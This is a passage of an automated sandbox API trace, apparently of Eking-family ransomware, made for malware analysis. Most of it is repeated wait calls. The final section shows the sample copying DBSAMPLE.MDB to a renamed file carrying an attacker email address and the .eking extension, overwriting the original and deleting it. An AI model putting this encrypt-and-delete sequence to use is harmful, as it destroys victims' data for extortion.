returned 1 [0281.165] FlushFileBuffers (hFile=0x100) Thread: id = 82 os_tid = 0x590 [0194.973] GetProcessHeap () returned 0x550000 [0194.973] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2590060 [0194.973] GetProcessHeap () returned 0x550000 [0194.973] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25a0068 [0194.974] GetProcessHeap () returned 0x550000 [0194.974] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x28) returned 0x572570 [0194.974] GetProcessHeap () returned 0x550000 [0194.974] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x110102) returned 0x3490020 [0194.974] GetProcessHeap () returned 0x550000 [0194.974] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x50) returned 0x572470 [0194.975] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x770d0000 [0194.975] GetProcAddress (hModule=0x770d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x770fd650 [0194.975] Wow64DisableWow64FsRedirection (in: OldValue=0x313fd24 | out: OldValue=0x313fd24*=0x0) returned 1 [0194.975] GetProcessHeap () returned 0x550000 [0194.975] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572470 | out: hHeap=0x550000) returned 1 [0194.975] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.975] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.975] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.975] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.975] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.976] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.976] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.976] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.976] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.976] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.976] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.976] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.976] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.976] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.977] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.977] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.977] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.977] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.977] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.977] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.977] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.977] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.977] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.978] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.978] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.978] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.978] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.978] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.978] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.978] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.978] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.978] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.979] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.979] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.979] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.979] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.979] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.980] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.980] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.980] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.980] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.980] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.980] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.980] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.980] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.981] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.981] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.981] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.981] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.981] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.981] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.981] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.981] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.981] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.982] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.982] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.982] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.982] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.982] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.982] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.982] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.982] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.983] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.983] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.983] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.983] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.983] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.983] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.983] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.984] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.984] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.984] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.984] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.984] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.984] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.984] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.984] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.984] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.985] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.985] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.985] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.985] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.985] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.986] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.986] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.986] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.986] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.986] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.986] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.986] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.987] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.987] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.987] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.987] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.987] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.987] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.987] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.988] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.988] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.988] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.988] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.988] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.989] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.989] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.989] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.989] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.989] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.989] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.989] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.990] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.990] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.990] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.990] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.990] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.990] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.990] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.990] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.990] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.990] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.990] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.991] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.991] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.991] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.991] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.991] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.991] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.991] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.991] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.991] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.991] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.991] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.992] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.992] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.992] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.992] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.992] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.992] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.992] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.992] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.992] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.992] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.992] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.992] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.993] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.993] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.993] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.993] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.993] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.993] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.999] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0194.999] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.000] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.000] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.000] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.000] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.000] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.000] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.000] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.000] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.000] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.000] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.000] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.001] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.001] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.001] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.001] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.001] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.001] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.001] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.001] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.001] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.001] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.001] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.001] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.002] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.002] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.002] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.002] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.002] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.002] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.002] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.002] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.002] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.002] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.002] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.003] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.003] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.003] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.003] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.003] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.003] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.003] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.003] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.003] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.003] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.003] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.004] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.004] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.004] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.004] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.004] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.004] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.004] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.004] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.004] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.004] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.004] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.005] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.005] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.005] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.005] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.005] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.005] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.005] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.005] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.005] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.006] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.006] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.006] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.006] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.006] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.006] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.006] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.006] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.006] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.006] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.007] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.007] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.007] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.007] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.007] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.007] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.007] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.007] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.007] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.007] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.008] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.008] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.008] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.008] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.008] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.008] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.008] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.008] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.008] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.008] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.009] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.009] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.009] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0198.364] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbsample.mdb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0198.365] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x313fcd0 | out: lpFileSize=0x313fcd0*=483328) returned 1 [0198.365] CloseHandle (hObject=0x1a4) returned 1 [0198.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbsample.mdb")) returned 0x20 [0198.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbsample.mdb")) returned 0x20 [0198.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbsample.mdb.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0199.086] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbsample.mdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0199.086] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fc98 | out: lpNewFilePointer=0x0) returned 1 [0199.086] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fc98 | out: lpNewFilePointer=0x0) returned 1 [0199.086] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbsample.mdb.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b4 [0199.087] ReadFile (in: hFile=0x1a4, lpBuffer=0x3490020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x313fca4, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesRead=0x313fca4*=0x76000, lpOverlapped=0x0) returned 1 [0199.104] WriteFile (in: hFile=0x1b4, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0x76010, lpNumberOfBytesWritten=0x313fc88, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fc88*=0x76010, lpOverlapped=0x0) returned 1 [0199.213] WriteFile (in: hFile=0x1b4, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x313fc88, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fc88*=0xf2, lpOverlapped=0x0) returned 1 [0199.213] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313f9f8 | out: lpNewFilePointer=0x0) returned 1 [0199.213] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313f9f8 | out: lpNewFilePointer=0x0) returned 1 [0199.213] WriteFile (in: hFile=0x1a4, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0x76000, lpNumberOfBytesWritten=0x313fa04, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fa04*=0x76000, lpOverlapped=0x0) returned 1 [0199.215] FlushFileBuffers (hFile=0x1a4) returned 1 [0199.929] FlushFileBuffers (hFile=0x1b4) returned 1 [0200.371] CloseHandle (hObject=0x1a4) returned 1 [0200.376] CloseHandle (hObject=0x1b4) returned 1 [0200.418] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbsample.mdb")) returned 1 